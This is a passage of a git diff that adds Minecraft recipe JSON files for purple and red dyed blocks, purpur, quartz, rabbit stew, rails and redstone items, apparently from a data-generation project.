"item": "minecraft:purple_stained_glass" + } + }, + "result": { + "item": "minecraft:purple_stained_glass_pane", + "count": 16 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/purple_stained_glass_pane_from_glass_pane.json b/src/data/minecraft/recipes/purple_stained_glass_pane_from_glass_pane.json new file mode 100644 index 00000000..6925ffea --- /dev/null +++ b/src/data/minecraft/recipes/purple_stained_glass_pane_from_glass_pane.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass_pane", + "pattern": [ + "###", + "#$#", + "###" + ], + "key": { + "#": { + "item": "minecraft:glass_pane" + }, + "$": { + "item": "minecraft:purple_dye" + } + }, + "result": { + "item": "minecraft:purple_stained_glass_pane", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/purple_terracotta.json b/src/data/minecraft/recipes/purple_terracotta.json new file mode 100644 index 00000000..81e60a1d --- /dev/null +++ b/src/data/minecraft/recipes/purple_terracotta.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_terracotta", + "pattern": [ + "###", + "#X#", + "###" + ], + "key": { + "#": { + "item": "minecraft:terracotta" + }, + "X": { + "item": "minecraft:purple_dye" + } + }, + "result": { + "item": "minecraft:purple_terracotta", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/purple_wool.json b/src/data/minecraft/recipes/purple_wool.json new file mode 100644 index 00000000..dd3674e3 --- /dev/null +++ b/src/data/minecraft/recipes/purple_wool.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "wool", + "ingredients": [ + { + "item": "minecraft:purple_dye" + }, + { + "item": "minecraft:white_wool" + } + ], + "result": { + "item": "minecraft:purple_wool" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/purpur_block.json b/src/data/minecraft/recipes/purpur_block.json new file mode 100644 index 00000000..1ef4ce09 --- /dev/null +++ b/src/data/minecraft/recipes/purpur_block.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "FF", + "FF" + ], + "key": { + "F": { + "item": "minecraft:popped_chorus_fruit" + } + }, + "result": { + "item": "minecraft:purpur_block", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/purpur_pillar.json b/src/data/minecraft/recipes/purpur_pillar.json new file mode 100644 index 00000000..11ab831c --- /dev/null +++ b/src/data/minecraft/recipes/purpur_pillar.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "#", + "#" + ], + "key": { + "#": { + "item": "minecraft:purpur_slab" + } + }, + "result": { + "item": "minecraft:purpur_pillar" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/purpur_pillar_from_purpur_block_stonecutting.json b/src/data/minecraft/recipes/purpur_pillar_from_purpur_block_stonecutting.json new file mode 100644 index 00000000..8b89545c --- /dev/null +++ b/src/data/minecraft/recipes/purpur_pillar_from_purpur_block_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:purpur_block" + }, + "result": "minecraft:purpur_pillar", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/purpur_slab.json b/src/data/minecraft/recipes/purpur_slab.json new file mode 100644 index 00000000..f837478f --- /dev/null +++ b/src/data/minecraft/recipes/purpur_slab.json @@ -0,0 +1,20 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###" + ], + "key": { + "#": [ + { + "item": "minecraft:purpur_block" + }, + { + "item": "minecraft:purpur_pillar" + } + ] + }, + "result": { + "item": "minecraft:purpur_slab", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/purpur_slab_from_purpur_block_stonecutting.json b/src/data/minecraft/recipes/purpur_slab_from_purpur_block_stonecutting.json new file mode 100644 index 00000000..14b8e883 --- /dev/null +++ b/src/data/minecraft/recipes/purpur_slab_from_purpur_block_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:purpur_block" + }, + "result": "minecraft:purpur_slab", + "count": 2 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/purpur_stairs.json b/src/data/minecraft/recipes/purpur_stairs.json new file mode 100644 index 00000000..fc020932 --- /dev/null +++ b/src/data/minecraft/recipes/purpur_stairs.json @@ -0,0 +1,22 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "# ", + "## ", + "###" + ], + "key": { + "#": [ + { + "item": "minecraft:purpur_block" + }, + { + "item": "minecraft:purpur_pillar" + } + ] + }, + "result": { + "item": "minecraft:purpur_stairs", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/purpur_stairs_from_purpur_block_stonecutting.json b/src/data/minecraft/recipes/purpur_stairs_from_purpur_block_stonecutting.json new file mode 100644 index 00000000..fef0028e --- /dev/null +++ b/src/data/minecraft/recipes/purpur_stairs_from_purpur_block_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:purpur_block" + }, + "result": "minecraft:purpur_stairs", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/quartz.json b/src/data/minecraft/recipes/quartz.json new file mode 100644 index 00000000..26f2e3ab --- /dev/null +++ b/src/data/minecraft/recipes/quartz.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:nether_quartz_ore" + }, + "result": "minecraft:quartz", + "experience": 0.2, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/quartz_block.json b/src/data/minecraft/recipes/quartz_block.json new file mode 100644 index 00000000..102e898e --- /dev/null +++ b/src/data/minecraft/recipes/quartz_block.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "##", + "##" + ], + "key": { + "#": { + "item": "minecraft:quartz" + } + }, + "result": { + "item": "minecraft:quartz_block" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/quartz_bricks.json b/src/data/minecraft/recipes/quartz_bricks.json new file mode 100644 index 00000000..f2c94440 --- /dev/null +++ b/src/data/minecraft/recipes/quartz_bricks.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "##", + "##" + ], + "key": { + "#": { + "item": "minecraft:quartz_block" + } + }, + "result": { + "item": "minecraft:quartz_bricks", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/quartz_bricks_from_quartz_block_stonecutting.json b/src/data/minecraft/recipes/quartz_bricks_from_quartz_block_stonecutting.json new file mode 100644 index 00000000..475b5f33 --- /dev/null +++ b/src/data/minecraft/recipes/quartz_bricks_from_quartz_block_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:quartz_block" + }, + "result": "minecraft:quartz_bricks", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/quartz_from_blasting.json b/src/data/minecraft/recipes/quartz_from_blasting.json new file mode 100644 index 00000000..097af64f --- /dev/null +++ b/src/data/minecraft/recipes/quartz_from_blasting.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:blasting", + "ingredient": { + "item": "minecraft:nether_quartz_ore" + }, + "result": "minecraft:quartz", + "experience": 0.2, + "cookingtime": 100 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/quartz_pillar.json b/src/data/minecraft/recipes/quartz_pillar.json new file mode 100644 index 00000000..256a1be1 --- /dev/null +++ b/src/data/minecraft/recipes/quartz_pillar.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "#", + "#" + ], + "key": { + "#": { + "item": "minecraft:quartz_block" + } + }, + "result": { + "item": "minecraft:quartz_pillar", + "count": 2 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/quartz_pillar_from_quartz_block_stonecutting.json b/src/data/minecraft/recipes/quartz_pillar_from_quartz_block_stonecutting.json new file mode 100644 index 00000000..213b63f0 --- /dev/null +++ b/src/data/minecraft/recipes/quartz_pillar_from_quartz_block_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:quartz_block" + }, + "result": "minecraft:quartz_pillar", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/quartz_slab.json b/src/data/minecraft/recipes/quartz_slab.json new file mode 100644 index 00000000..eaa9664c --- /dev/null +++ b/src/data/minecraft/recipes/quartz_slab.json @@ -0,0 +1,23 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###" + ], + "key": { + "#": [ + { + "item": "minecraft:chiseled_quartz_block" + }, + { + "item": "minecraft:quartz_block" + }, + { + "item": "minecraft:quartz_pillar" + } + ] + }, + "result": { + "item": "minecraft:quartz_slab", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/quartz_slab_from_stonecutting.json b/src/data/minecraft/recipes/quartz_slab_from_stonecutting.json new file mode 100644 index 00000000..5ca2c2ea --- /dev/null +++ b/src/data/minecraft/recipes/quartz_slab_from_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:quartz_block" + }, + "result": "minecraft:quartz_slab", + "count": 2 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/quartz_stairs.json b/src/data/minecraft/recipes/quartz_stairs.json new file mode 100644 index 00000000..b1578f1a --- /dev/null +++ b/src/data/minecraft/recipes/quartz_stairs.json @@ -0,0 +1,25 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "# ", + "## ", + "###" + ], + "key": { + "#": [ + { + "item": "minecraft:chiseled_quartz_block" + }, + { + "item": "minecraft:quartz_block" + }, + { + "item": "minecraft:quartz_pillar" + } + ] + }, + "result": { + "item": "minecraft:quartz_stairs", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/quartz_stairs_from_quartz_block_stonecutting.json b/src/data/minecraft/recipes/quartz_stairs_from_quartz_block_stonecutting.json new file mode 100644 index 00000000..3c16d709 --- /dev/null +++ b/src/data/minecraft/recipes/quartz_stairs_from_quartz_block_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:quartz_block" + }, + "result": "minecraft:quartz_stairs", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/rabbit_stew_from_brown_mushroom.json b/src/data/minecraft/recipes/rabbit_stew_from_brown_mushroom.json new file mode 100644 index 00000000..dd5d8037 --- /dev/null +++ b/src/data/minecraft/recipes/rabbit_stew_from_brown_mushroom.json @@ -0,0 +1,24 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "rabbit_stew", + "ingredients": [ + { + "item": "minecraft:baked_potato" + }, + { + "item": "minecraft:cooked_rabbit" + }, + { + "item": "minecraft:bowl" + }, + { + "item": "minecraft:carrot" + }, + { + "item": "minecraft:brown_mushroom" + } + ], + "result": { + "item": "minecraft:rabbit_stew" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/rabbit_stew_from_red_mushroom.json b/src/data/minecraft/recipes/rabbit_stew_from_red_mushroom.json new file mode 100644 index 00000000..cf7eec03 --- /dev/null +++ b/src/data/minecraft/recipes/rabbit_stew_from_red_mushroom.json @@ -0,0 +1,24 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "rabbit_stew", + "ingredients": [ + { + "item": "minecraft:baked_potato" + }, + { + "item": "minecraft:cooked_rabbit" + }, + { + "item": "minecraft:bowl" + }, + { + "item": "minecraft:carrot" + }, + { + "item": "minecraft:red_mushroom" + } + ], + "result": { + "item": "minecraft:rabbit_stew" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/rail.json b/src/data/minecraft/recipes/rail.json new file mode 100644 index 00000000..ee8fc022 --- /dev/null +++ b/src/data/minecraft/recipes/rail.json @@ -0,0 +1,20 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "X X", + "X#X", + "X X" + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "X": { + "item": "minecraft:iron_ingot" + } + }, + "result": { + "item": "minecraft:rail", + "count": 16 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/red_banner.json b/src/data/minecraft/recipes/red_banner.json new file mode 100644 index 00000000..bcb9bf93 --- /dev/null +++ b/src/data/minecraft/recipes/red_banner.json @@ -0,0 +1,20 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "banner", + "pattern": [ + "###", + "###", + " | " + ], + "key": { + "#": { + "item": "minecraft:red_wool" + }, + "|": { + "item": "minecraft:stick" + } + }, + "result": { + "item": "minecraft:red_banner" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/red_bed.json b/src/data/minecraft/recipes/red_bed.json new file mode 100644 index 00000000..ffb0e9ea --- /dev/null +++ b/src/data/minecraft/recipes/red_bed.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "bed", + "pattern": [ + "###", + "XXX" + ], + "key": { + "#": { + "item": "minecraft:red_wool" + }, + "X": { + "tag": "minecraft:planks" + } + }, + "result": { + "item": "minecraft:red_bed" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/red_bed_from_white_bed.json b/src/data/minecraft/recipes/red_bed_from_white_bed.json new file mode 100644 index 00000000..36140a6b --- /dev/null +++ b/src/data/minecraft/recipes/red_bed_from_white_bed.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "dyed_bed", + "ingredients": [ + { + "item": "minecraft:white_bed" + }, + { + "item": "minecraft:red_dye" + } + ], + "result": { + "item": "minecraft:red_bed" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/red_carpet.json b/src/data/minecraft/recipes/red_carpet.json new file mode 100644 index 00000000..00b18ce6 --- /dev/null +++ b/src/data/minecraft/recipes/red_carpet.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "carpet", + "pattern": [ + "##" + ], + "key": { + "#": { + "item": "minecraft:red_wool" + } + }, + "result": { + "item": "minecraft:red_carpet", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/red_carpet_from_white_carpet.json b/src/data/minecraft/recipes/red_carpet_from_white_carpet.json new file mode 100644 index 00000000..7236d614 --- /dev/null +++ b/src/data/minecraft/recipes/red_carpet_from_white_carpet.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "carpet", + "pattern": [ + "###", + "#$#", + "###" + ], + "key": { + "#": { + "item": "minecraft:white_carpet" + }, + "$": { + "item": "minecraft:red_dye" + } + }, + "result": { + "item": "minecraft:red_carpet", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/red_concrete_powder.json b/src/data/minecraft/recipes/red_concrete_powder.json new file mode 100644 index 00000000..a0d04bf3 --- /dev/null +++ b/src/data/minecraft/recipes/red_concrete_powder.json @@ -0,0 +1,37 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "concrete_powder", + "ingredients": [ + { + "item": "minecraft:red_dye" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + } + ], + "result": { + "item": "minecraft:red_concrete_powder", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/red_dye_from_beetroot.json b/src/data/minecraft/recipes/red_dye_from_beetroot.json new file mode 100644 index 00000000..23b85d86 --- /dev/null +++ b/src/data/minecraft/recipes/red_dye_from_beetroot.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "red_dye", + "ingredients": [ + { + "item": "minecraft:beetroot" + } + ], + "result": { + "item": "minecraft:red_dye" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/red_dye_from_poppy.json b/src/data/minecraft/recipes/red_dye_from_poppy.json new file mode 100644 index 00000000..0b3c31b5 --- /dev/null +++ b/src/data/minecraft/recipes/red_dye_from_poppy.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "red_dye", + "ingredients": [ + { + "item": "minecraft:poppy" + } + ], + "result": { + "item": "minecraft:red_dye" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/red_dye_from_rose_bush.json b/src/data/minecraft/recipes/red_dye_from_rose_bush.json new file mode 100644 index 00000000..2b463353 --- /dev/null +++ b/src/data/minecraft/recipes/red_dye_from_rose_bush.json @@ -0,0 +1,13 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "red_dye", + "ingredients": [ + { + "item": "minecraft:rose_bush" + } + ], + "result": { + "item": "minecraft:red_dye", + "count": 2 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/red_dye_from_tulip.json b/src/data/minecraft/recipes/red_dye_from_tulip.json new file mode 100644 index 00000000..8f061a29 --- /dev/null +++ b/src/data/minecraft/recipes/red_dye_from_tulip.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "red_dye", + "ingredients": [ + { + "item": "minecraft:red_tulip" + } + ], + "result": { + "item": "minecraft:red_dye" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/red_glazed_terracotta.json b/src/data/minecraft/recipes/red_glazed_terracotta.json new file mode 100644 index 00000000..1ac5a53f --- /dev/null +++ b/src/data/minecraft/recipes/red_glazed_terracotta.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:red_terracotta" + }, + "result": "minecraft:red_glazed_terracotta", + "experience": 0.1, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/red_nether_brick_slab.json b/src/data/minecraft/recipes/red_nether_brick_slab.json new file mode 100644 index 00000000..b4273ce5 --- /dev/null +++ b/src/data/minecraft/recipes/red_nether_brick_slab.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###" + ], + "key": { + "#": { + "item": "minecraft:red_nether_bricks" + } + }, + "result": { + "item": "minecraft:red_nether_brick_slab", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/red_nether_brick_slab_from_red_nether_bricks_stonecutting.json b/src/data/minecraft/recipes/red_nether_brick_slab_from_red_nether_bricks_stonecutting.json new file mode 100644 index 00000000..152c3070 --- /dev/null +++ b/src/data/minecraft/recipes/red_nether_brick_slab_from_red_nether_bricks_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:red_nether_bricks" + }, + "result": "minecraft:red_nether_brick_slab", + "count": 2 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/red_nether_brick_stairs.json b/src/data/minecraft/recipes/red_nether_brick_stairs.json new file mode 100644 index 00000000..a2adaf86 --- /dev/null +++ b/src/data/minecraft/recipes/red_nether_brick_stairs.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "# ", + "## ", + "###" + ], + "key": { + "#": { + "item": "minecraft:red_nether_bricks" + } + }, + "result": { + "item": "minecraft:red_nether_brick_stairs", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/red_nether_brick_stairs_from_red_nether_bricks_stonecutting.json b/src/data/minecraft/recipes/red_nether_brick_stairs_from_red_nether_bricks_stonecutting.json new file mode 100644 index 00000000..c7f346ec --- /dev/null +++ b/src/data/minecraft/recipes/red_nether_brick_stairs_from_red_nether_bricks_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:red_nether_bricks" + }, + "result": "minecraft:red_nether_brick_stairs", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/red_nether_brick_wall.json b/src/data/minecraft/recipes/red_nether_brick_wall.json new file mode 100644 index 00000000..ddff055a --- /dev/null +++ b/src/data/minecraft/recipes/red_nether_brick_wall.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:red_nether_bricks" + } + }, + "result": { + "item": "minecraft:red_nether_brick_wall", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/red_nether_brick_wall_from_red_nether_bricks_stonecutting.json b/src/data/minecraft/recipes/red_nether_brick_wall_from_red_nether_bricks_stonecutting.json new file mode 100644 index 00000000..7e030526 --- /dev/null +++ b/src/data/minecraft/recipes/red_nether_brick_wall_from_red_nether_bricks_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:red_nether_bricks" + }, + "result": "minecraft:red_nether_brick_wall", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/red_nether_bricks.json b/src/data/minecraft/recipes/red_nether_bricks.json new file mode 100644 index 00000000..c43f8c89 --- /dev/null +++ b/src/data/minecraft/recipes/red_nether_bricks.json @@ -0,0 +1,18 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "NW", + "WN" + ], + "key": { + "W": { + "item": "minecraft:nether_wart" + }, + "N": { + "item": "minecraft:nether_brick" + } + }, + "result": { + "item": "minecraft:red_nether_bricks" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/red_sandstone.json b/src/data/minecraft/recipes/red_sandstone.json new file mode 100644 index 00000000..eca9a865 --- /dev/null +++ b/src/data/minecraft/recipes/red_sandstone.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "##", + "##" + ], + "key": { + "#": { + "item": "minecraft:red_sand" + } + }, + "result": { + "item": "minecraft:red_sandstone" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/red_sandstone_slab.json b/src/data/minecraft/recipes/red_sandstone_slab.json new file mode 100644 index 00000000..82d05777 --- /dev/null +++ b/src/data/minecraft/recipes/red_sandstone_slab.json @@ -0,0 +1,20 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###" + ], + "key": { + "#": [ + { + "item": "minecraft:red_sandstone" + }, + { + "item": "minecraft:chiseled_red_sandstone" + } + ] + }, + "result": { + "item": "minecraft:red_sandstone_slab", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/red_sandstone_slab_from_red_sandstone_stonecutting.json b/src/data/minecraft/recipes/red_sandstone_slab_from_red_sandstone_stonecutting.json new file mode 100644 index 00000000..a43c3857 --- /dev/null +++ b/src/data/minecraft/recipes/red_sandstone_slab_from_red_sandstone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:red_sandstone" + }, + "result": "minecraft:red_sandstone_slab", + "count": 2 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/red_sandstone_stairs.json b/src/data/minecraft/recipes/red_sandstone_stairs.json new file mode 100644 index 00000000..359ee43d --- /dev/null +++ b/src/data/minecraft/recipes/red_sandstone_stairs.json @@ -0,0 +1,25 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "# ", + "## ", + "###" + ], + "key": { + "#": [ + { + "item": "minecraft:red_sandstone" + }, + { + "item": "minecraft:chiseled_red_sandstone" + }, + { + "item": "minecraft:cut_red_sandstone" + } + ] + }, + "result": { + "item": "minecraft:red_sandstone_stairs", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/red_sandstone_stairs_from_red_sandstone_stonecutting.json b/src/data/minecraft/recipes/red_sandstone_stairs_from_red_sandstone_stonecutting.json new file mode 100644 index 00000000..2282ac20 --- /dev/null +++ b/src/data/minecraft/recipes/red_sandstone_stairs_from_red_sandstone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:red_sandstone" + }, + "result": "minecraft:red_sandstone_stairs", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/red_sandstone_wall.json b/src/data/minecraft/recipes/red_sandstone_wall.json new file mode 100644 index 00000000..3f512dc4 --- /dev/null +++ b/src/data/minecraft/recipes/red_sandstone_wall.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:red_sandstone" + } + }, + "result": { + "item": "minecraft:red_sandstone_wall", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/red_sandstone_wall_from_red_sandstone_stonecutting.json b/src/data/minecraft/recipes/red_sandstone_wall_from_red_sandstone_stonecutting.json new file mode 100644 index 00000000..75208671 --- /dev/null +++ b/src/data/minecraft/recipes/red_sandstone_wall_from_red_sandstone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:red_sandstone" + }, + "result": "minecraft:red_sandstone_wall", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/red_stained_glass.json b/src/data/minecraft/recipes/red_stained_glass.json new file mode 100644 index 00000000..8f686aac --- /dev/null +++ b/src/data/minecraft/recipes/red_stained_glass.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass", + "pattern": [ + "###", + "#X#", + "###" + ], + "key": { + "#": { + "item": "minecraft:glass" + }, + "X": { + "item": "minecraft:red_dye" + } + }, + "result": { + "item": "minecraft:red_stained_glass", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/red_stained_glass_pane.json b/src/data/minecraft/recipes/red_stained_glass_pane.json new file mode 100644 index 00000000..652a4ada --- /dev/null +++ b/src/data/minecraft/recipes/red_stained_glass_pane.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass_pane", + "pattern": [ + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:red_stained_glass" + } + }, + "result": { + "item": "minecraft:red_stained_glass_pane", + "count": 16 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/red_stained_glass_pane_from_glass_pane.json b/src/data/minecraft/recipes/red_stained_glass_pane_from_glass_pane.json new file mode 100644 index 00000000..b238fc3e --- /dev/null +++ b/src/data/minecraft/recipes/red_stained_glass_pane_from_glass_pane.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass_pane", + "pattern": [ + "###", + "#$#", + "###" + ], + "key": { + "#": { + "item": "minecraft:glass_pane" + }, + "$": { + "item": "minecraft:red_dye" + } + }, + "result": { + "item": "minecraft:red_stained_glass_pane", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/red_terracotta.json b/src/data/minecraft/recipes/red_terracotta.json new file mode 100644 index 00000000..437be0dd --- /dev/null +++ b/src/data/minecraft/recipes/red_terracotta.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_terracotta", + "pattern": [ + "###", + "#X#", + "###" + ], + "key": { + "#": { + "item": "minecraft:terracotta" + }, + "X": { + "item": "minecraft:red_dye" + } + }, + "result": { + "item": "minecraft:red_terracotta", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/red_wool.json b/src/data/minecraft/recipes/red_wool.json new file mode 100644 index 00000000..5777674b --- /dev/null +++ b/src/data/minecraft/recipes/red_wool.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "wool", + "ingredients": [ + { + "item": "minecraft:red_dye" + }, + { + "item": "minecraft:white_wool" + } + ], + "result": { + "item": "minecraft:red_wool" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/redstone.json b/src/data/minecraft/recipes/redstone.json new file mode 100644 index 00000000..9fea268f --- /dev/null +++ b/src/data/minecraft/recipes/redstone.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:crafting_shapeless", + "ingredients": [ + { + "item": "minecraft:redstone_block" + } + ], + "result": { + "item": "minecraft:redstone", + "count": 9 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/redstone_block.json b/src/data/minecraft/recipes/redstone_block.json new file mode 100644 index 00000000..b5844c04 --- /dev/null +++ b/src/data/minecraft/recipes/redstone_block.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:redstone" + } + }, + "result": { + "item": "minecraft:redstone_block" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/redstone_from_blasting.json b/src/data/minecraft/recipes/redstone_from_blasting.json new file mode 100644 index 00000000..e0010240 --- /dev/null +++ b/src/data/minecraft/recipes/redstone_from_blasting.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:blasting", + "ingredient": { + "item": "minecraft:redstone_ore" + }, + "result": "minecraft:redstone", + "experience": 0.7, + "cookingtime": 100 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/redstone_from_smelting.json b/src/data/minecraft/recipes/redstone_from_smelting.json new file mode 100644 index 00000000..ae73cd29 --- /dev/null +++ b/src/data/minecraft/recipes/redstone_from_smelting.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:redstone_ore" + }, + "result": "minecraft:redstone", + "experience": 0.7, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/redstone_lamp.json b/src/data/minecraft/recipes/redstone_lamp.json new file mode 100644 index 00000000..c0e0c13f --- /dev/null +++ 